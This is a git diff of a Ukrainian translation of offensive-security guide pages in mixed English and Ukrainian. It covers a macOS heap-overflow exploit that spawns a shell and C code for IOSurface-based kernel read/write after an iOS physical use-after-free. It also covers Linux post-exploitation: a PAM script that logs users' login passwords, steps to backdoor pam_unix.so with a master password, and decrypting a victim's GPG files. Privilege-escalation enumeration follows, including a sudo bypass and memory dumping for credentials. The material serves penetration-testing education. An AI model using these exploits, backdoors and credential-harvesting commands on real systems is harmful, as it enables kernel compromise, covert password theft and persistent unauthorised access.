overflow exploit for macOS...") + +for extra in candidates: +log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") +p = process(BIN, env=env) + +# Read leak line +leak_line = p.recvline() +win_addr = parse_leak(leak_line) +log.success(f"win() @ {hex(win_addr)}") + +# Skip prompt lines +p.recvuntil(b"Enter payload length") +p.recvline() + +# Build and send payload +payload = build_payload(win_addr, extra_pad=extra) +total_len = len(payload) + +log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + +# Send length and payload +p.sendline(str(total_len).encode()) +p.send(payload) + +# Check if we overwrote the function pointer successfully +try: +output = p.recvuntil(b"Calling h->cb()", timeout=0.5) +p.recvline(timeout=0.5) # Skip the "..." part + +# Check if we hit win() +response = p.recvline(timeout=0.5) +if b"win() reached" in response: +log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") +log.success("Shell spawned, entering interactive mode...") +p.interactive() +return +elif b"safe_cb() called" in response: +log.info(f"Failed with extra_pad={extra}, safe_cb was called") +else: +log.info(f"Failed with extra_pad={extra}, unexpected response") +except: +log.info(f"Failed with extra_pad={extra}, likely crashed") + +p.close() + +log.failure("All padding attempts failed. The heap layout might be different.") +log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': +main() +``` +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md new file mode 100644 index 000000000..1703e0c4f --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -0,0 +1,215 @@ +# iOS Physical Use-After-Free via IOSurface + +{{#include ../../banners/hacktricks-training.md}} + + +## Фізичний use-after-free + +This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) + +### Керування пам'яттю в XNU + +The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. + +#### Рівні таблиць сторінок в iOS + +Page tables are organized hierarchically in three levels: + +1. **L1 Page Table (Level 1)**: +* Each entry here represents a large range of virtual memory. +* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. +2. **L2 Page Table (Level 2)**: +* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). +* An L1 entry may point to an L2 table if it can't map the entire region itself. +3. **L3 Page Table (Level 3)**: +* This is the finest level, where each entry maps a single **4 KB** memory page. +* An L2 entry may point to an L3 table if more granular control is needed. + +#### Відображення віртуальної пам'яті в фізичну + +* **Direct Mapping (Block Mapping)**: +* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). +* **Pointer to Child Page Table**: +* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). + +#### Приклад: відображення віртуальної адреси + +Let’s say you try to access the virtual address **0x1000000000**: + +1. **L1 Table**: +* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. +2. **L2 Table**: +* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. +3. **L3 Table**: +* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. + +#### Приклад відображення адрес + +If you write the physical address **0x800004000** into the first index of the L2 table, then: + +* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. +* This is a **block mapping** at the L2 level. + +Alternatively, if the L2 entry points to an L3 table: + +* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. + +### Фізичний use-after-free + +A **physical use-after-free** (UAF) occurs when: + +1. A process **allocates** some memory as **readable and writable**. +2. The **page tables** are updated to map this memory to a specific physical address that the process can access. +3. The process **deallocates** (frees) the memory. +4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. +5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. +6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. + +This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. + +### IOSurface Heap Spray + +Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: + +1. The attacker **creates a large number of IOSurface objects** in kernel memory. +2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. +3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. +4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. + +More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) + +> [!TIP] +> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable. +> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked. +> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks. +> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on. +> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions. + +### Покроковий процес Heap Spray + +1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). +2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. +3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: +* Use one field to **read any 32-bit value** in kernel memory. +* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. + +Згенеруйте об'єкти IOSurface з магічним значенням IOSURFACE\_MAGIC для подальшого пошуку: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +Шукати об'єкти **`IOSurface`** в одній звільненій фізичній сторінці: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### Досягнення Kernel Read/Write за допомогою IOSurface + +Після отримання контролю над об'єктом IOSurface у kernel memory (mapped to a freed physical page, доступній з userspace), його можна використовувати для **довільних операцій читання та запису в kernel**. + +**Ключові поля в IOSurface** + +Об'єкт IOSurface має два ключові поля: + +1. **Use Count Pointer**: дозволяє **32-bit read**. +2. **Indexed Timestamp Pointer**: дозволяє **64-bit write**. + +Перезаписуючи ці вказівники, ми перенаправляємо їх на довільні адреси в kernel memory, що дає можливість читання/запису. + +#### 32-Bit Kernel Read + +Щоб виконати читання: + +1. Перезапишіть **use count pointer**, щоб він вказував на цільову адресу мінус 0x14-byte offset. +2. Використайте метод `get_use_count`, щоб прочитати значення за цією адресою. +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### 64-Bit Kernel Write + +Щоб виконати запис: + +1. Перезапишіть **indexed timestamp pointer**, щоб він вказував на цільну адресу. +2. Використайте метод `set_indexed_timestamp` для запису 64-бітного значення. +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### Підсумок потоку експлойту + +1. **Trigger Physical Use-After-Free**: Вивільнені сторінки доступні для повторного використання. +2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. +3. **Identify Accessible IOSurface**: Знайдіть IOSurface на вивільненій сторінці, якою ви керуєте. +4. **Abuse Use-After-Free**: Змініть вказівники в об'єкті IOSurface, щоб отримати довільні **kernel read/write** через методи IOSurface. + +За допомогою цих примітивів експлойт забезпечує контрольовані **32-bit reads** та **64-bit writes** у kernel memory. Подальші кроки для jailbreak можуть вимагати більш стабільних примітивів read/write, що може потребувати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e). + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 0990cf729..ebb4c965d 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -1,26 +1,26 @@ -# Linux Пост-експлуатація +# Linux Post-Exploitation {{#include ../../banners/hacktricks-training.md}} -## Перехоплення паролів при вході за допомогою PAM +## Sniffing Logon Passwords with PAM -Налаштуємо PAM-модуль для логування кожного пароля, який користувач вводить при вході. Якщо ви не знаєте, що таке PAM, перевірте: +Налаштуємо PAM-модуль для логування кожного пароля, який користувач вводить при вході. Якщо ви не знаєте, що таке PAM, перегляньте: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Нижче — лише підсумок: +**Для детальнішої інформації дивіться [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Нижче наведено короткий підсумок: -**Огляд методики:** -Pluggable Authentication Modules (PAM) надають гнучкість у керуванні автентифікацією в системах на базі Unix. Вони можуть підвищувати безпеку шляхом налаштування процесів входу, але також становлять ризики при неправильному використанні. У цьому короткому огляді описано методику збору облікових даних за допомогою PAM, а також стратегії пом'якшення. +**Technique Overview:** +Плагінні модулі автентифікації (PAM) забезпечують гнучкість у керуванні аутентифікацією на Unix-подібних системах. Вони можуть підвищувати безпеку шляхом налаштування процесів входу, але також становлять ризик у разі неправильного використання. Цей підсумок описує методику захоплення облікових даних за допомогою PAM та рекомендовані заходи пом’якшення. -**Перехоплення облікових даних:** +**Capturing Credentials:** -- Bash-скрипт із ім'ям `toomanysecrets.sh` створюється для логування спроб входу, записуючи дату, ім'я користувача (`$PAM_USER`), пароль (через stdin) та IP віддаленого хоста (`$PAM_RHOST`) у `/var/log/toomanysecrets.log`. -- Скрипт роблять виконуваним і інтегрують у конфігурацію PAM (`common-auth`) з використанням модуля `pam_exec.so` з опціями для тихого виконання та передачі токена автентифікації скрипту. -- Цей підхід демонструє, як скомпрометований Linux-хост може бути використаний для прихованого логування облікових даних. +- Створено bash-скрипт з ім'ям `toomanysecrets.sh`, який реєструє спроби входу, записуючи дату, ім'я користувача (`$PAM_USER`), пароль (через stdin) та IP віддаленого хоста (`$PAM_RHOST`) у `/var/log/toomanysecrets.log`. +- Скрипт роблять виконуваним і інтегрують у PAM-конфігурацію (`common-auth`) за допомогою модуля `pam_exec.so` з опціями для тихого виконання та надання скрипту токена аутентифікації. +- Цей підхід демонструє, як скомпрометований хост Linux може бути використаний для прихованого логування облікових даних. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -32,30 +32,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**Для детальнішої інформації див. [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Це лише короткий огляд: +**Для детальнішої інформації перевірте [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Це лише підсумок: -The Pluggable Authentication Module (PAM) — система під Linux для автентифікації користувачів. Вона працює на трьох основних концептах: **username**, **password**, та **service**. Файли конфігурації для кожного сервісу знаходяться в каталозі `/etc/pam.d/`, де shared libraries обробляють автентифікацію. +Pluggable Authentication Module (PAM) — це система, що використовується в Linux для аутентифікації користувачів. Вона ґрунтується на трьох основних поняттях: **username**, **password**, **service**. Файли конфігурації для кожного сервісу знаходяться в директорії `/etc/pam.d/`, де спільні бібліотеки обробляють аутентифікацію. -**Objective**: Змінити PAM, щоб дозволяти автентифікацію з конкретним паролем, минаючи реальний пароль користувача. Це зосереджено на бібліотеці `pam_unix.so`, яка використовується файлом `common-auth`, що включається майже всіма сервісами для перевірки пароля. +**Мета**: Змодифікувати PAM, щоб дозволити аутентифікацію за конкретним паролем, обминаючи реальний пароль користувача. Особлива увага націлена на спільну бібліотеку `pam_unix.so`, яку використовує файл `common-auth`, і яку підключають майже всі сервіси для перевірки пароля. -### Steps for Modifying `pam_unix.so`: +### Кроки для модифікації `pam_unix.so`: 1. **Locate the Authentication Directive** in the `common-auth` file: -- Рядок, відповідальний за перевірку пароля користувача, викликає `pam_unix.so`. +- The line responsible for checking a user's password calls `pam_unix.so`. 2. **Modify Source Code**: -- Додайте умовну перевірку в файлі `pam_unix_auth.c`, яка надає доступ, якщо використано заздалегідь визначений пароль; інакше продовжує звичайний процес автентифікації. +- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process. 3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. 4. **Testing**: -- Доступ надається в різних сервісах (login, ssh, sudo, su, screensaver) за допомогою визначеного пароля, при цьому стандартні процеси автентифікації залишаються незмінними. +- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected. > [!TIP] > Ви можете автоматизувати цей процес за допомогою [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ## Decrypting GPG loot via homedir relocation -Якщо ви знайдете зашифрований файл `.gpg` і папку користувача `~/.gnupg` (pubring, private-keys, trustdb), але не можете розшифрувати через permissions/locks GnuPG homedir, скопіюйте keyring у записуване місце і використайте його як ваш GPG home. +If you find an encrypted `.gpg` file and a user’s `~/.gnupg` folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home. -Типові помилки, які ви побачите без цього: "unsafe ownership on homedir", "failed to create temporary file", або "decryption failed: No secret key" (оскільки GPG не може читати/записувати оригінальний homedir). +Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir). Workflow: ```bash @@ -70,7 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg # or gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg ``` -Якщо секретний матеріал ключа присутній у `private-keys-v1.d`, GPG розблокує та розшифрує без запиту passphrase (або запитає, якщо ключ захищено). +Якщо матеріал секретного ключа присутній у `private-keys-v1.d`, GPG розблокує і розшифрує без запиту passphrase (або запитає, якщо ключ захищений). ## Посилання diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index a8b30bdc9..4ce89984c 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,40 +2,40 @@ {{#include ../../banners/hacktricks-training.md}} -## System Information +## Інформація про систему -### OS info +### Відомості про ОС -Почнемо збирати інформацію про запущену ОС +Почнемо отримувати інформацію про запущену ОС ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Шлях +### Path -Якщо ви **маєте права запису в будь-який каталог всередині змінної `PATH`** ви можете підмінити деякі бібліотеки або бінарні файли: +Якщо ви **маєте права запису в будь-яку папку всередині змінної `PATH`**, ви можете перехопити деякі бібліотеки або бінарні файли: ```bash echo $PATH ``` -### Інформація про оточення +### Інформація про Env -Чи є в змінних оточення цікава інформація, паролі або API-ключі? +Чи є в змінних оточення цікава інформація, паролі або API keys? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Перевірте версію kernel і чи існує exploit, який можна використати для escalate privileges +Перевірте версію ядра та чи існує якийсь exploit, який можна використати для escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Ви можете знайти хороший список уразливих версій ядра і деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Ви можете знайти хороший список уразливих ядер та деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Інші сайти, де можна знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Щоб витягти всі уразливі версії ядра з цього сайту, ви можете зробити так: +Щоб витягти всі версії уразливих ядер з цього ресурсу, ви можете зробити: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2 [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (запустити на жертві — перевіряє лише exploits для kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Завжди **шукайте версію kernel у Google**, можливо ваша версія kernel вказана в якомусь kernel exploit і тоді ви будете впевнені, що цей exploit дійсний. +Завжди **пошукайте версію kernel у Google**, можливо саме ваша версія kernel вказана в якому-небудь kernel exploit — тоді ви будете впевнені, що цей exploit дійсний. ### CVE-2016-5195 (DirtyCow) @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo версія -На основі вразливих версій sudo, які з'являються в: +На основі вразливих версій sudo, що вказані в: ```bash searchsploit sudo ``` @@ -73,20 +73,20 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg: перевірка підпису не вдалася +### Dmesg перевірка підпису не пройшла -Перевірте **smasher2 box of HTB** для **прикладу** того, як цю vuln можна експлуатувати. +Перегляньте **smasher2 box of HTB** як **приклад** того, як цей vuln може бути експлуатований. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Додаткове збирання інформації про систему +### Більш детальне перерахування системи ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Перелічити можливі засоби захисту +## Перелічіть можливі засоби захисту ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Якщо ви перебуваєте всередині docker container ви можете спробувати втекти з нього: - +Якщо ви знаходитеся всередині docker container ви можете спробувати втекти з нього: {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Диски -Перевірте **що змонтовано і що не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації +Перевірте **що змонтовано і що не змонтовано**, де і навіщо. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Корисне програмне забезпечення -Перелічіть корисні бінарні файли +Перелічити корисні бінарні файли ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Також перевірте, чи **будь-який компілятор встановлений**. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендується компілювати його на машині, де ви збираєтеся його використовувати (або на подібній). +Також перевірте, чи встановлено **будь-який компілятор**. Це корисно, якщо вам потрібно використати якийсь kernel exploit, оскільки рекомендовано компілювати його на машині, де ви збираєтеся його використовувати (або на схожій). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Встановлене вразливе програмне забезпечення -Перевірте **версію встановлених пакетів і сервісів**. Можливо, є якась стара версія Nagios (наприклад), яку можна експлуатувати для підвищення привілеїв…\ -Рекомендується вручну перевіряти версії найбільш підозрілого встановленого програмного забезпечення. +Перевірте **версію встановлених пакетів і сервісів**. Можливо, є якась стара версія Nagios (наприклад), яку можна експлуатувати для escalating privileges…\ +Рекомендується вручну перевірити версії найбільш підозрілих встановлених програм. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Якщо у вас є доступ по SSH до машини, ви також можете використовувати **openVAS** для перевірки застарілого та вразливого програмного забезпечення, встановленого в системі. +Якщо у вас є доступ по SSH до машини, ви також можете використовувати **openVAS** для перевірки застарілого або вразливого програмного забезпечення, встановленого на ній. -> [!NOTE] > _Зауважте, що ці команди покажуть велику кількість інформації, яка в більшості випадків буде марною, тому рекомендується використовувати спеціальні додатки, такі як OpenVAS або подібні, які перевіряють, чи версія встановленого програмного забезпечення вразлива до відомих exploits_ +> [!NOTE] > _Зверніть увагу, що ці команди покажуть велику кількість інформації, яка переважно буде марною; тому рекомендовано використовувати додатки на кшталт OpenVAS або подібні, які перевірять, чи якась встановлена версія ПЗ вразлива до відомих exploits_ ## Процеси -Погляньте, які саме **процеси** виконуються, і перевірте, чи якийсь процес не має **більше привілеїв, ніж повинен** (можливо, tomcat запущено від імені root?). +Подивіться, **які саме процеси** виконуються і перевірте, чи якийсь процес не має **більше привілеїв, ніж повинно бути** (можливо tomcat запускається від root?) ```bash ps aux ps -ef top -n 1 ``` -Завжди перевіряйте чи не запущені [**electron/cef/chromium debuggers** працюють, їх можна використати для підвищення привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ -Також **перевіряйте свої привілеї над binaries процесів**, можливо, ви зможете перезаписати чийсь. +Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ +Також **перевірте свої привілеї щодо бінарних файлів процесів**, можливо, ви зможете перезаписати чиїсь файли. ### Process monitoring -Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу процесів. Це може бути дуже корисним для виявлення вразливих процесів, які виконуються часто або коли задовольняється певний набір умов. +Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які часто запускаються або коли виконуються певні умови. ### Process memory -Деякі сервіси на сервері зберігають **credentials у відкритому тексті в пам'яті**.\ -Зазвичай вам потрібні **root privileges** щоб читати пам'ять процесів, що належать іншим користувачам, тому це зазвичай корисно, коли ви вже root і хочете знайти більше credentials.\ -Проте пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, які належать вам**. +Деякі сервіси на сервері зберігають **credentials in clear text inside the memory**.\ +Зазвичай вам знадобляться **root privileges** для читання пам'яті процесів, що належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти більше credentials.\ +Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, які належать вам**. > [!WARNING] -> Зауважте, що нині більшість машин **за замовчуванням не дозволяють ptrace**, тож ви не можете дампити інші процеси, що належать вашому непривілейованому користувачу. +> Зверніть увагу, що сьогодні більшість машин **за замовчуванням не дозволяють ptrace**, що означає, що ви не зможете дампити інші процеси, що належать вашому непривілейованому користувачу. > > Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace: > -> - **kernel.yama.ptrace_scope = 0**: усі процеси можуть бути відлагоджені, якщо вони мають однаковий uid. Це класичний спосіб роботи ptrace. -> - **kernel.yama.ptrace_scope = 1**: відлагоджувати можна лише батьківський процес. -> - **kernel.yama.ptrace_scope = 2**: тільки admin може використовувати ptrace, оскільки це вимагає можливості CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: жодні процеси не можуть бути трасовані ptrace. Після встановлення потрібне перезавантаження, щоб знову увімкнути трасування. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Якщо у вас є доступ до пам'яті сервісу FTP (наприклад), ви можете отримати Heap і шукати всередині нього credentials. +Якщо ви маєте доступ до пам'яті сервісу (наприклад, FTP), ви можете отримати Heap і шукати в ньому credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB скрипт +#### GDB Скрипт ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Для заданого PID, **maps показують, як пам'ять відображається у віртуальному адресному просторі цього процесу**; вони також показують **права доступу кожного відображеного регіону**. Псевдофайл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми дізнаємося, які **регіони пам'яті доступні для читання** та їхні зсуви. Ми використовуємо цю інформацію, щоб **seek у файл mem і dump усі регіони, доступні для читання** в окремий файл. +Для заданого process ID, **maps показують, як пам'ять відображається у віртуальному адресному просторі цього процесу**; вони також показують **права доступу для кожного відображеного регіону**. Псевдо-файл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми дізнаємося, які **регіони пам'яті доступні для читання** та їхні зсуви. Ми використовуємо цю інформацію, щоб **просунутися у файл mem і вивантажити всі доступні для читання регіони** у файл. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` надає доступ до системної **фізичної** пам'яті, а не до віртуальної пам'яті. Віртуальний адресний простір ядра можна отримати за допомогою /dev/kmem.\ -Зазвичай, `/dev/mem` читабельний лише для **root** та групи **kmem**. +`/dev/mem` надає доступ до **фізичної** пам'яті системи, а не до віртуальної пам'яті. Віртуальний адресний простір ядра можна отримати через /dev/kmem.\ +Зазвичай, `/dev/mem` доступний для читання лише користувачу **root** і групі **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump для linux -ProcDump — це переосмислення для Linux класичного інструменту ProcDump із набору інструментів Sysinternals для Windows. Отримати його можна за адресою [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump — це переосмислення для Linux класичного інструменту ProcDump із набору інструментів Sysinternals для Windows. Доступно за адресою 